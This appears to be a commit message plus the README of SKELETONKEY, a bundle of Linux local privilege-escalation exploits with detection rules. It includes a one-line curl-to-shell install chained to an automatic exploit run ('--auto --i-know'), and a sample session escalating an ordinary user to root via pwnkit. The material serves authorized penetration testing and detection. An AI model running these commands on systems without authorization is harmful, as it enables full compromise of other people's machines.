Closes the loop opened by tools/verify-vm/: every JSON verification
record now persists into docs/VERIFICATIONS.jsonl, gets folded into
the embedded core/verifications.c lookup table, and surfaces in
--list / --module-info / --explain / --scan --json.
New: docs/VERIFICATIONS.jsonl
Append-only store. One JSON record per verify.sh run. Records carry
module, ISO timestamp, host_kernel, host_distro, vm_box, expected
vs actual verdict, and match status. 6 lines today (5 unique after
dedup; the extra is dirty_pipe's pre-correction MISMATCH that
surfaced the silent-backport finding — kept in the JSONL for
history, deduped out of the C table).
New: tools/refresh-verifications.py
Parses VERIFICATIONS.jsonl, dedupes to latest per
(module, vm_box, host_kernel), generates core/verifications.c with a
static array + lookup functions:
verifications_for_module(name, &count_out)
verifications_module_has_match(name)
--check mode for CI drift detection.
New: core/verifications.{h,c}
Embedded record table. Lookup is O(corpus); we have <50 records.
skeletonkey.c surfacing:
- --list: new 'VFY' column shows ✓ for modules with >=1 'match'
record. Five modules show ✓ today (pwnkit, cgroup_release_agent,
netfilter_xtcompat, fuse_legacy, dirty_pipe).
- --module-info: new '--- verified on ---' section enumerates every
record with date / distro / kernel / vm_box / status. Modules with
zero records get a 'run tools/verify-vm/verify.sh <name>' hint.
- --explain: new 'VERIFIED ON' section in the operator briefing.
- --scan --json / --module-info --json: 'verified_on' array of
record objects per module.
Verification records baked in:
pwnkit Ubuntu 20.04.6 LTS 5.4.0-169 match (polkit 0.105)
cgroup_release_agent Debian 11 (bullseye) 5.10.0-27 match
netfilter_xtcompat Debian 11 (bullseye) 5.10.0-27 match
fuse_legacy Debian 11 (bullseye) 5.10.0-27 match
dirty_pipe Ubuntu 22.04.3 LTS 5.15.0-91 match (OK; silent backport)
The dirty_pipe record is particularly informative: stock Ubuntu 22.04
ships 5.15.0-91-generic. Our version-only kernel_range check would say
VULNERABLE (5.15.0 < 5.15.25 backport in our table). The --active
probe writes a sentinel via the dirty_pipe primitive then re-reads;
on this host the primitive is blocked → sentinel doesn't land →
verdict OK. Ubuntu silently backports CVE fixes into the patch level
(-91 here) without bumping uname's X.Y.Z. The targets.yaml entry was
updated from 'expect: VULNERABLE' to 'expect: OK' to reflect what
the active probe definitively determined; the original VULNERABLE
expectation is preserved in the JSONL history as a demonstration of
why we ship an active-probe path at all (this is the verified-vs-
claimed bar in action).
Plumbing fixes that landed in the same loop:
- core/nft_compat.h — conditional defines for newer-kernel nft uapi
constants (NFT_CHAIN_HW_OFFLOAD, NFTA_VERDICT_CHAIN_ID, etc.)
that aren't in Ubuntu 20.04's pre-5.5 linux-libc-dev. Without
this, nft_* modules failed to compile inside the verifier guest.
Included from each nft module after <linux/netfilter/nf_tables.h>.
- tools/verify-vm/Vagrantfile — wrap config in c.vm.define so each
module gets its own tracked machine; disable Parallels Tools
auto-install (fails on older guest kernels); translate
underscores in guest hostname to hyphens (RFC 952).
- tools/verify-vm/verify.sh — explicit 'vagrant rsync' before
'vagrant provision build-and-verify' (vagrant only auto-rsyncs on
fresh up, not on already-running VMs); fix verdict-grep regex to
tolerate Vagrant's 'skk-<module>:' line prefix + '|| true' so a
grep miss doesn't trigger set-e+pipefail; append JSON record to
docs/VERIFICATIONS.jsonl on every run.
- tools/verify-vm/targets.yaml — dirty_pipe retargeted from
ubuntu2004 + pinned 5.13.0-19 (no longer in 20.04's apt) to
ubuntu2204 stock 5.15.0-91 (apt-installable + exercises the
active-probe-overrides-version-check path).
What's next for the verifier:
- Mainline kernel.ubuntu.com integration so we can actually pin
arbitrary historical kernels (currently the pin path only works
with apt-installable packages).
- Sweep the remaining ~18 verifiable modules and accumulate records.
- Per-module verified_on counts in --explain header.
SKELETONKEY
One curated binary. 28 verified Linux LPE exploits, 2016 → 2026 (+3 ported-but-unverified). Detection rules in the box. One command picks the safest one and runs it.
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know
⚠️ Authorized testing only. SKELETONKEY runs real exploits. By using it you assert you have explicit authorization to test the target system. See
docs/ETHICS.md.
Why use this
Most Linux privesc tooling is broken in one of three ways:
linux-exploit-suggester/linpeas— tell you what might work, run nothingauto-root-exploit/kernelpop— bundle exploits but ship no detection signatures and went stale years ago- Per-CVE PoC repos — one author, one distro, abandoned within months
SKELETONKEY is one binary, actively maintained, with detection rules for every CVE in the bundle — same project for red and blue teams.
Who it's for
| Audience | What you get |
|---|---|
| Red team / pentesters | One tested binary. --auto ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
| Sysadmins | skeletonkey --scan (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates (schema). |
| Blue team / SOC | Auditd + sigma + yara + falco rules for every CVE. --detect-rules --format=auditd | sudo tee … ships SIEM coverage in one command. |
| CTF / training | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
Corpus at a glance
28 verified modules spanning the 2016 → 2026 LPE timeline, plus
3 ported-but-unverified modules (dirtydecrypt, fragnesia,
pack2theroot — see note below):
| Tier | Count | What it means |
|---|---|---|
| 🟢 Full chain | 14 | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
| 🟡 Primitive | 14 | Fires the kernel primitive + grooms the slab + records a witness. Default returns EXPLOIT_FAIL honestly. Pass --full-chain to engage the shared modprobe_path finisher (needs offsets — see docs/OFFSETS.md). |
| ⚪ Ported, unverified | 3 | dirtydecrypt, fragnesia, pack2theroot. Built and registered with version-pinned detect() (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the exploit bodies are not yet validated end-to-end. --auto auto-enables --active to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
🟢 Modules that land root on a vulnerable host: copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs (CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) · cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed (KASLR leak primitive)
🟡 Modules with opt-in --full-chain:
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
⚪ Ported-but-unverified (not in the counts above):
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
pack2theroot (CVE-2026-41651) — ported from public PoCs, exploit
bodies not yet VM-validated. All three have version-pinned detect():
dirtydecrypt against mainline fix commit a2567217 in Linux 7.0;
fragnesia against mainline 7.0.9 (older Debian-stable branches still
unfixed); pack2theroot against PackageKit fix release 1.3.5
(commit 76cfb675), version read from the daemon over D-Bus.
--auto auto-enables --active to confirm empirically on top.
See CVES.md for per-module CVE, kernel range, and
detection status.
Quickstart
# Install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
# What's this box vulnerable to? (no sudo)
skeletonkey --scan
# One-page operator briefing for a single CVE: CWE / MITRE ATT&CK /
# CISA KEV status, live detect() trace, OPSEC footprint, detection
# coverage. Useful for triage tickets and SOC analyst handoffs.
skeletonkey --explain nf_tables
# Pick the safest LPE and run it
skeletonkey --auto --i-know
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
--ssh-key ~/.ssh/id_rsa hosts.txt
SKELETONKEY runs as a normal unprivileged user — that's the point.
--scan, --audit, --exploit, and --detect-rules all work without
sudo. Only --mitigate and rule-file installation write root-owned
paths.
Example: unprivileged → root
$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
[*] auto: scanning 31 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
[ ] auto: copy_fail patched or not applicable
[ ] auto: nf_tables precondition not met
...
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
[*] auto: launching --exploit pwnkit...
[+] pwnkit: writing gconv-modules cache + payload.so...
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
# id
uid=0(root) gid=0(root) groups=0(root)
The safety ranking goes: structural escapes (no kernel state touched) → page-cache writes → userspace cred-races → kernel primitives → kernel races (least predictable). The goal is to never crash a production box looking for root.
How it works
Each CVE (or tightly-related family) is a module under modules/.
Modules export a standard interface (detect / exploit / mitigate / cleanup) plus metadata (kernel range, detection rule text). The
top-level binary dispatches per command:
--scanwalks every module'sdetect()against the running host--exploit <name> --i-knowruns the named module's exploit (the--i-knowflag is the authorization gate)--auto --i-knowdoes the scan, ranks by safety, runs the safest--detect-rules --format=<auditd|sigma|yara|falco>emits the embedded rule corpus--mitigate <name>/--cleanup <name>apply / undo temporary mitigations (module-dependent — most kernel modules say "upgrade")--dump-offsetsreads/proc/kallsyms+/boot/System.mapand emits a ready-to-paste C entry for the--full-chainoffset table
See docs/ARCHITECTURE.md for the
module-loader design.
The verified-vs-claimed bar
Most public PoC repos hardcode offsets for one kernel build and
silently break elsewhere. SKELETONKEY refuses to ship fabricated
offsets. The shared --full-chain finisher only returns
EXPLOIT_OK after a setuid bash sentinel file actually appears;
otherwise modules return EXPLOIT_FAIL with a diagnostic. Operators
populate the offset table once per target kernel via
skeletonkey --dump-offsets and either set env vars or upstream the
entry via PR (CONTRIBUTING.md).
Build from source
git clone https://github.com/KaraZajac/SKELETONKEY.git
cd SKELETONKEY
make
./skeletonkey --version
Builds clean with gcc or clang on any modern Linux. macOS dev builds also compile (modules with Linux-only headers stub out gracefully).
Status
v0.6.0 cut 2026-05-23. 28 verified modules, plus 3
ported-but-unverified (dirtydecrypt, fragnesia, pack2theroot).
All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
patched hosts.
Reliability + accuracy work in v0.6.0:
- Shared host fingerprint (
core/host.{h,c}) populated once at startup — kernel/distro/userns gates/sudo+polkit versions — exposed to every module viactx->host. 26 of 27 distinct modules consume it. - Test harness (
tests/test_detect.c,make test) — 44 unit tests over mocked host fingerprints; runs as a non-root user in CI. --autoupgrades: auto-enables--active, per-detect 15s timeout, fork-isolated detect + exploit so a crashing module can't tear down the dispatcher, structured per-module verdict table, scan summary.--dry-runflag (preview without firing; no--i-knowneeded).- Pinned mainline fix commits for the 3 ported modules —
detect()is version-pinned, not just precondition-only.
Empirical end-to-end validation on a vulnerable-target VM matrix is the next roadmap item; until then, the corpus is best understood as "compiles + detects + structurally correct + honest on failure" — and the three ported modules have not been run against a vulnerable target at all.
See ROADMAP.md for the next planned modules and
infrastructure work.
Contributing
PRs welcome for: kernel offsets (run --dump-offsets on a target
kernel, paste into core/offsets.c), new modules, detection rules,
and CVE-status corrections. See CONTRIBUTING.md.
Keeping kernel_range tables current. tools/refresh-kernel-ranges.py
polls Debian's security tracker and reports drift between each
module's hardcoded kernel_patched_from thresholds and the
fixed-versions Debian actually ships. Run periodically (or in CI)
to catch new backports that need to land in the corpus:
tools/refresh-kernel-ranges.py # human report
tools/refresh-kernel-ranges.py --json # machine-readable
tools/refresh-kernel-ranges.py --patch # proposed C-source edits
Acknowledgments
Each module credits the original CVE reporter and PoC author in its
NOTICE.md. SKELETONKEY is the bundling and bookkeeping layer;
the research credit belongs to the people who found the bugs.
License
MIT — see LICENSE.